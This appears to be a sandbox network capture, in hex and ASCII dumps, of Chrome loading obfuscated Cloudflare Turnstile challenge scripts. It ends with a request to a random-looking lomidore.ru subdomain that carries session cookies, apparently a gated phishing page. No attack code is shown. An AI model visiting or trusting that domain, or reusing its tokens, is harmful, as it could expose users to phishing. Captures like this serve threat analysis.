2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-11 18:22:19 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49731	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:20 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f077fd7ad501889&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:20 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115930 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8f077fe29d404251-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:20 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a Data Ascii: rnstile_expired":"Expired","turnstile_feedback_report":"Having%20trouble%3F","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_feedback_description":"Send%20Feedback","testing_only":
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 66 59 2c 67 61 2c 67 67 2c 67 68 2c 67 69 2c 67 73 2c 67 44 2c 67 48 2c 66 61 2c 66 62 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 36 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 31 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 33 35 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 38 39 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 30 35 32 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 36 33 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 37 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: fY,ga,gg,gh,gi,gs,gD,gH,fa,fb){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1186))/1+-parseInt(gI(1341))/2*(-parseInt(gI(935))/3)+-parseInt(gI(1189))/4+-parseInt(gI(1052))/5+parseInt(gI(963))/6+-parseInt(gI(1357))/7+parseInt(gI(
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 66 6f 72 28 68 77 3d 68 75 2c 47 5b 68 77 28 31 38 30 33 29 5d 28 29 2c 48 3d 30 3b 48 3c 47 5b 68 77 28 31 30 35 35 29 5d 3b 47 5b 48 5d 3d 3d 3d 47 5b 6f 5b 68 77 28 31 31 30 35 29 5d 28 48 2c 31 29 5d 3f 47 5b 68 77 28 31 35 38 31 29 5d 28 6f 5b 68 77 28 31 34 36 30 29 5d 28 48 2c 31 29 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 75 28 33 38 33 29 5d 5b 68 75 28 33 36 34 29 5d 28 42 29 2c 43 3d 30 3b 43 3c 78 5b 68 75 28 31 30 35 35 29 5d 3b 44 3d 78 5b 43 5d 2c 45 3d 66 34 28 67 2c 68 2c 44 29 2c 42 28 45 29 3f 28 46 3d 6f 5b 68 75 28 34 39 37 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 68 75 28 31 34 37 35 29 5d 28 68 5b 44 5d 29 2c 6f 5b 68 75 Data Ascii: for(hw=hu,G[hw(1803)](),H=0;H<G[hw(1055)];G[H]===G[o[hw(1105)](H,1)]?G[hw(1581)](o[hw(1460)](H,1),1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[hu(383)][hu(364)](B),C=0;C<x[hu(1055)];D=x[C],E=f4(g,h,D),B(E)?(F=o[hu(497)]('s',E)&&!g[hu(1475)](h[D]),o[hu
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 29 5d 28 65 4d 5b 68 7a 28 36 38 38 29 5d 5b 68 7a 28 31 34 36 38 29 5d 2c 27 5f 27 29 2b 30 2c 6a 3d 6a 5b 68 7a 28 31 36 31 33 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 2c 68 41 29 7b 68 41 3d 68 7a 2c 68 5e 3d 6a 5b 68 41 28 35 33 33 29 5d 28 6d 29 7d 29 2c 63 3d 65 4d 5b 68 7a 28 31 33 34 36 29 5d 28 63 29 2c 69 3d 5b 5d 2c 67 3d 2d 31 3b 21 66 5b 68 7a 28 35 38 34 29 5d 28 69 73 4e 61 4e 2c 6b 3d 63 5b 68 7a 28 35 33 33 29 5d 28 2b 2b 67 29 29 3b 69 5b 68 7a 28 34 35 38 29 5d 28 53 74 72 69 6e 67 5b 68 7a 28 31 35 38 35 29 5d 28 66 5b 68 7a 28 31 32 30 33 29 5d 28 66 5b 68 7a 28 34 32 36 29 5d 28 66 5b 68 7a 28 31 30 39 39 29 5d 28 66 5b 68 7a 28 38 30 30 29 5d 28 6b 2c 32 35 35 29 2d 68 2c 67 25 36 35 35 33 35 29 2c 36 35 35 33 35 Data Ascii: )](eM[hz(688)][hz(1468)],'_')+0,j=j[hz(1613)](/./g,function(l,m,hA){hA=hz,h^=j[hA(533)](m)}),c=eM[hz(1346)](c),i=[],g=-1;!f[hz(584)](isNaN,k=c[hz(533)](++g));i[hz(458)](String[hz(1585)](f[hz(1203)](f[hz(426)](f[hz(1099)](f[hz(800)](k,255)-h,g%65535),65535
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 77 51 4d 58 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 79 73 4a 53 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 45 77 4b 53 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 53 4c 54 43 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 69 6b 6d 7a 42 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 6c 58 73 76 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 70 73 47 63 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 Data Ascii: n(h,i){return i!=h},'wQMXZ':function(h,i){return h&i},'ysJSw':function(h,i){return h!=i},'EwKSQ':function(h,i){return ih},'SLTCW':function(h,i){return h<i},'ikmzB':function(h,i){return hi},'lXsvT':function(h,i){return i==h},'psGcM':function(h,i){return
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 28 35 33 33 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 68 48 28 31 31 35 30 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 68 48 28 31 33 39 37 29 5d 28 48 3c 3c 31 2c 64 5b 68 48 28 34 32 38 29 5d 28 4d 2c 31 29 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 48 28 34 35 38 29 5d 28 64 5b 68 48 28 36 39 30 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 68 48 28 37 38 39 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 68 48 28 34 33 37 29 5d 28 48 3c 3c 31 2c 4d 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 68 48 28 34 35 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 68 48 28 35 33 33 29 5d 28 30 29 2c 73 3d 30 3b 31 36 Data Ascii: (533)](0),s=0;d[hH(1150)](8,s);H=d[hH(1397)](H<<1,d[hH(428)](M,1)),I==j-1?(I=0,G[hH(458)](d[hH(690)](o,H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;d[hH(789)](s,F);H=d[hH(437)](H<<1,M),I==j-1?(I=0,G[hH(458)](o(H)),H=0):I++,M=0,s++);for(M=C[hH(533)](0),s=0;16
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 4d 61 74 68 5b 68 48 28 34 36 30 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 68 48 28 31 32 37 39 29 5d 28 48 2c 31 29 7c 4d 26 31 2e 36 38 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 68 48 28 34 35 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 30 3d 3d 44 26 26 46 2b 2b 7d 65 6c 73 65 20 74 68 69 73 2e 68 5b 64 5b 68 48 28 38 32 31 29 5d 28 74 68 69 73 2e 68 5b 64 5b 68 48 28 31 31 31 38 29 5d 28 37 34 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 64 5b 68 48 28 38 33 38 29 5d 28 31 30 36 2b 74 68 69 73 2e 68 5b 64 5b 68 48 28 37 30 36 29 5d 28 37 34 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 68 Data Ascii: Math[hH(460)](2,F),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=d[hH(1279)](H,1)\|M&1.68,j-1==I?(I=0,G[hH(458)](o(H)),H=0):I++,M>>=1,s++);D--,0==D&&F++}else this.h[d[hH(821)](this.h[d[hH(1118)](74,this.g)][3]^d[hH(838)](106+this.h[d[hH(706)](74,this.g)][1][h
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 74 68 5b 68 4c 28 34 36 30 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 64 5b 68 4c 28 38 38 36 29 5d 28 46 2c 4b 29 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b 68 4c 28 37 31 35 29 5d 28 30 2c 48 29 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 68 4c 28 31 37 32 30 29 5d 28 30 3c 4c 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4d 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 68 4c 28 34 35 38 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 64 5b 68 4c 28 31 31 35 30 29 5d 28 49 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 68 4c 28 34 36 30 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 64 5b Data Ascii: th[hL(460)](2,16),F=1;d[hL(886)](F,K);L=H&G,H>>=1,d[hL(715)](0,H)&&(H=j,G=o(I++)),J\|=d[hL(1720)](0<L?1:0,F),F<<=1);M=e(J);break;case 2:return''}for(E=s[3]=M,D[hL(458)](M);;){if(d[hL(1150)](I,i))return'';for(J=0,K=Math[hL(460)](2,C),F=1;F!=K;L=H&G,H>>=1,d[
2024-12-11 18:22:20 UTC	1369	IN	Data Raw: 2c 65 4d 5b 65 5b 69 6a 28 37 35 33 29 5d 5d 5b 69 6a 28 31 32 32 35 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 69 6a 28 35 32 38 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 69 6a 28 36 38 38 29 5d 5b 69 6a 28 31 33 36 33 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 69 6a 28 31 35 30 39 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 69 6a 28 36 38 38 29 5d 5b 69 6a 28 37 38 34 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 69 6a 28 36 38 38 29 5d 5b 69 6a 28 31 35 30 38 29 5d 2c 27 63 6f 64 65 27 3a 65 5b 69 6a 28 39 35 36 29 5d 2c 27 72 63 56 27 3a 65 4d 5b 69 6a 28 36 38 38 29 5d 5b 69 6a 28 35 32 32 29 5d 7d 2c 27 2a 27 29 29 7d 2c 67 29 7d 2c 65 4d 5b 67 4a 28 31 36 30 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 2c 69 6b 2c 69 2c 6a 2c Data Ascii: ,eM[e[ij(753)]][ij(1225)]({'source':ij(528),'widgetId':eM[ij(688)][ij(1363)],'event':e[ij(1509)],'cfChlOut':eM[ij(688)][ij(784)],'cfChlOutS':eM[ij(688)][ij(1508)],'code':e[ij(956)],'rcV':eM[ij(688)][ij(522)]},'*'))},g)},eM[gJ(1607)]=function(f,g,h,ik,i,j,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:20 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:20 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:20 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f077fe418488ca7-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49717	172.67.215.131	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:21 UTC	1331	OUT	GET /favicon.ico HTTP/1.1 Host: 18qdy4sm2g.lomidore.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://18qdy4sm2g.lomidore.ru/baSDU4o/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImV1RDA0aW5Cc2EzenN4WC9GVEtwV2c9PSIsInZhbHVlIjoia1VPUEgybVZqL1VLaWl5T3ZBdXhVNlBNSjRTSFJ0em1rTFRvTGNjL1FZQ0Fkd1puL2JtZElsWGxZbmhLQmZnVHE4TzRQUTNWRVEyV24xUEVHbVBab2R1WjhrOXB1YXFTTVZiRExqZVRlTFhZYnYwZDY3WTQ3V1kwb2dSZXpnRkIiLCJtYWMiOiIxZmU4YmFjZTcyNjFjNTY1YTY3OWQ1ZWU2ZWU3N2E3NjM0MmUyZDcwYWI1NGQwNmNlYjJjM2U4ODY0MGUzNWU2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkN4T1N1bWRlS1N4WWlZeGt3V0cvUnc9PSIsInZhbHVlIjoicEZsQ3ByRzhJQzNqcWNTcVZGeHhJQnFMbVRMMlEwYWZyczFncmJkZG8za2w1c0lvcWFtT3oxaUI0a2NtaE1QWHJGWXU1WmczTHZ4clJFMmtaV1hkSjNaa3ZRd2szK1lTNjFBMjhLNENjN2RxdTg4SzdScHk4Z2ZDYzBpb1FZMlgiLCJtYWMiOiJlMTFjMTRlOGYwZWJjZTU4Y2E2MjkxYWQyMmJhZjY1YTI5ODFiMGNkZGI4ZTM1YWNiZDA4ODhiNjcwMDZmMGFhIiwidGFnIjoiIn0%3D
